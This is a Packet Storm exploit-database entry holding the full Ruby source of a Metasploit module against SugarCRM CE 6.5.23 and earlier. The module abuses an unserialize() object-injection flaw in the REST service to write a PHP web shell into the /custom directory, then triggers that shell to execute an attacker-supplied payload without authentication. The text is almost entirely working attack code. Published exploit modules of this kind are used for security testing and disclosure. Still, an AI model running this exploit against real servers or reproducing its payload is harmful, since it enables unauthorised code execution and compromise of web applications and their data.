SugarCRM REST Unserialize PHP Code Execution

2016-09-08T00:00:00
ID PACKETSTORM:138619
Type packetstorm
Reporter EgiX
Modified 2016-09-08T00:00:00

Description

                                        
                                            `##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'SugarCRM REST Unserialize PHP Code Execution',  
'Description' => %q{  
This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23  
which could be abused to allow unauthenticated users to execute arbitrary PHP code with  
the permissions of the webserver. The dangerous unserialize() call exists in the  
'/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()  
method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.  
},  
'Author' => 'EgiX',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'http://karmainsecurity.com/KIS-2016-07'],  
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],  
['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],  
['URL', 'https://bugs.php.net/bug.php?id=72663']  
],  
'Privileged' => false,  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' => [ ['SugarCRM CE <= 6.5.23', {}] ],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jun 23 2016'  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])  
], self.class)  
end  
  
def exploit  
upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'  
  
payload_serialized = "O:+14:\"SugarCacheFile\":23:{S:17:\"\\00*\\00_cacheFileName\";"  
payload_serialized << "s:#{upload_php.length+2}:\"..#{upload_php}\";S:16:\"\\00*\\00"  
payload_serialized << "_cacheChanged\";b:1;S:14:\"\\00*\\00_localStore\";a:1:{i:0;s:55"  
payload_serialized << ":\"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>\";}}"  
  
print_status("#{peer} - Exploiting the unserialize() to upload PHP code")  
  
res = send_request_cgi(  
{  
'uri' => normalize_uri(target_uri.path, 'service/v4/rest.php'),  
'method' => 'POST',  
'vars_post' => {  
'method' => 'login',  
'input_type' => 'Serialize',  
'rest_data' => payload_serialized  
}  
})  
  
if not res or res.code != 200  
print_error("#{peer} - Exploit failed: #{res.code}")  
return  
end  
  
register_files_for_cleanup(File.basename(upload_php))  
  
print_status("#{peer} - Executing the payload #{upload_php}")  
  
res = send_request_cgi(  
{  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, upload_php),  
'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }  
})  
  
if res and res.code != 200  
print_error("#{peer} - Payload execution failed: #{res.code}")  
return  
end  
end  
end  
`